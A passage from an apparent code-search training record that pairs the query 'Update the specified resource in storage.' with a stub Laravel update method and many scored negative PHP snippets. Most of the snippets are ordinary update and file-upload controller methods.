show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request 